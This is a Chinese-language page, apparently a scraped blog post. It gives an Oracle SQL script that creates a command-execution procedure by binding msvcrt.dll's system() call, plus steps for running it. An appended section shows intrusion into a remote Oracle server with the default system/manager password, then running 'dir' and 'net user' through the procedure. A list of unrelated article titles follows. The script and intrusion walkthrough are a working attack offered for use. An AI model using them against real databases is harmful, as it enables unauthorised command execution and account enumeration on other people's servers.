-- ----------------------------------------------------------------------------

-- SQL server下可以通过cmd_shell调用系统命令,其实Oracle下也可以。

--这个SQL就是建立一个类似于sql Server下cmd_shell的过程。

-- ----------------------------------------------------------------------------

--                            windows下的cmd_shell

--            在win2k下的oracle817测试成功

--                           benjurry@xfocus.org

--     使用方法:

--1、以dba 权限用sqlplus登陆oracle,

--2、假设这个文件放在d:\win_oracmd.sql,则在SQLplus中输入:@d:\win_oracmd.sql

--3、在sqlplus下输入 exec oracmd.exec ('dir > c:\dir.txt');

-- ----------------------------------------------------------------------------

CREATE OR REPLACE LIBRARY exec_shell AS 'C:\winnt\system32\msvcrt.dll';

/

show errors

CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);

end oracmd;

/

show errors

CREATE OR REPLACE PACKAGE BODY oracmd IS

PROCEDURE exec(cmdstring IN CHAR)

IS EXTERNAL

NAME "system"

LIBRARY exec_shell

LANGUAGE C;

end oracmd;

/

show errors

补充:

利用弱口令进行入侵:

C:\>sqlplus /nolog

SQL> connect

system/manager@(description=(address_list=(address=(protocol=tcp)(host=www.xx.com)(port=1521)))(connect_data=(SERVICE_NAME=ora9i)));

SQL> exec oracmd.exec ('dir >c:\dir.txt');

PL/SQL 过程已成功完成。

SQL> exec oracmd.exec ('net user >d:\cmd.txt');

PL/SQL 过程已成功完成。

oracle executesqlcommand,Oracle Execute Command Sql Script in Win相关推荐

  1. oracle ora-各种常见java.sql.SQLException归结

    oracle ora-各种常见java.sql.SQLException归纳 java.sql.SQLException错误! ORA-00904:     --invalid column name ...

  2. sql oracle 自增长字段,在Oracle、MySQL、MS SQL Server中创设自动增长字段

    在Oracle.MySQL.MS SQL Server中创建自动增长字段 好吧,今天面试有道题,要各个数据库怎么建立自增长字段,顺便复习一下吧,最近面试很多数据库问题... 一:Oracle Orac ...

  3. Oracle数据库是如何执行SQL的

    文章目录 1.参考资料 2.Oracle SQL执行过程 2.1.SQL语句的执行过程 2.1.1.全局角度来看SQL请求的执行过程 2.1.2.数据库端处理SQL具体过程 2.2.Oracle对解析 ...

  4. Oracle数据库学习:PL/SQL(详解)

    Oracle数据库学习:PL/SQL 什么是PL/SQL PL/SQL 是过程语言(Procedural Language)与结构化查询语言(SQL)结合而成的扩展语言; 使用PL/SQL 可以编写具 ...

  5. oracle 10046事件查看,使用oracle的10046事件跟踪SQL语句

    使用oracle的10046事件跟踪SQL语句 我们在分析应用程序性能问题的时候,更多地需要关注其中SQL语句 的执行情况,因为通常应用程序的性能瓶颈会在数据库这边,因此数据库的sql语句是我们优化的 ...

  6. 把Oracle数据库移植到Microsoft SQL Server 7 0

    分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow 也欢迎大家转载本篇文章.分享知识,造福人民,实现我们中华民族伟大复兴! 把Ora ...

  7. Oracle安装步骤及PL/SQL Developer连接数据库

    一:Oracle安装步骤及PL/SQL Developer连接数据库 win7 64位 11g 点击(操作步骤):http://www.cnblogs.com/haoke/articles/27343 ...

  8. Oracle数据库查看表空间sql语句、查看Oracle数据库表空间剩余 、修改表空间、库备份

    一  Oracle数据库查看表空间sql语句 1.oracle查看表空间当前用户 SQL>  select  username,default_tablespace  from user_use ...

  9. 【oracle】oracle经典sql,exception,database link纠错

    [oracle]oracle经典sql,exception,database link纠错 1111-01 oracle经典sql,exception,database link纠错 1.给表tabl ...

最新文章

  1. koa cookie使用
  2. vue-router 按需加载
  3. WF4 AttachedPropertiesService
  4. 《Win测试的学习笔记》——Introduction
  5. disruptor:CAS实现高效(伪)无锁阻塞队列实践
  6. NPAPI最简单的代码
  7. 翻译:where在Swift中的用法
  8. 如何安装Pycharm和汉化包(包括安装软件,无广告)
  9. Foobar2000中文版增强安装版
  10. 单龙芯3A3000-7A1000PMON研究学习-(7)撸起袖子干-make cfg 所执行的操作(d)
  11. C++高级编程资料汇总(参考手册+电子书+编程思想+算法分析)
  12. 计算某年某月某日是星期几(基姆拉尔森计算公式)
  13. 新手如何玩转拼多多?需要注意什么?
  14. 蓝色实景旅游产品手册PPT模板
  15. Python数据可视化之美
  16. Python之组合数据类型(列表、元组、字典、集合)
  17. Firefox旧版本及插件安装下载
  18. Unable to negotiate with 100.9.70.30 port 29418: no matching key exchange method found
  19. 无法将网络更改为桥接状态:没有未桥接的主机网络适配器
  20. 算法设计与智能计算 || 专题八: 拉普拉斯算子与图拉普拉斯

热门文章

  1. struts2文件上传一个错误的解决
  2. 钩子运行机制HOOK
  3. 浅谈HASH算法与CSDN密码泄漏事件
  4. c与c++中struct区别
  5. Gym导入Atari游戏环境报错
  6. Java举例include_Java StringUtils.getFilenameExtension方法代码示例
  7. 联想e550笔记本怎么样_预算5000-6000元笔记本电脑推荐(学生/入门/小白选购)*十二月更新...
  8. linux 关闭密码复杂化,Linux系统设置复杂密码策略方法
  9. 改变DIV的背景颜色透明度,但其中的文字不受影响?
  10. Mysql错误代码大全